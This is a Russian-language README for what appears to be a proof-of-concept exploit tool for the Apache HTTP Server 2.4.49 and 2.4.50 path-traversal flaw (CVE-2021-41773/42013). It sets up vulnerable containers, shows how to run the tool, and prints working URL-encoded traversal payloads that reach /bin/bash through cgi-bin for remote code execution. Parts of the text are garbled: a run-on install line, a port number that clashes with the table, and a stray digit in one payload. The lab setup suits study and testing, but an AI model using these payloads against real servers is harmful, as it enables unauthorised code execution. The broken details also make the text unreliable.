
Уязвимость была обнаружена в изменении, внесённом в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник может использовать атаку с обходом пути (path traversal), чтобы сопоставлять URL с файлами за пределами каталогов, настроенных директивами, подобными Alias. Если файлы за пределами этих каталогов не защищены конфигурацией по умолчанию "require all denied", такие запросы могут быть успешными. Если для этих псевдонимов также включены CGI-скрипты, это может привести к удалённому выполнению кода. Известно, что эта уязвимость эксплуатируется в реальных атаках. Эта проблема затрагивает только Apache 2.4.49 и не затрагивает более ранние версии. Исправление в Apache HTTP Server 2.4.50 было неполным, см. CVE-2021-42013.
pip3 install colorama)perl «hello-world», запускаемого в контейнере(ах)Запустите уязвимый Apache httpd (с конфигурацией по умолчанию) в контейнере docker/podman.
| Dockerfile | Container | Версия |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Порт прослушивания |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 выберите атаку для версии 2.4.49
1.3 python3 main.py localhost:2450
1.4 выберите атаку для версии 2.4.50
Эксплойт использует CGI-модуль Apache httpd, чтобы обеспечить выполнение произвольных исполняемых файлов через обход пути.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ — это URL-кодированное значение, которое при декодировании эквивалентно ../.
.%%32%658 — это дважды URL-кодированное значение, которое при декодировании также эквивалентно ../.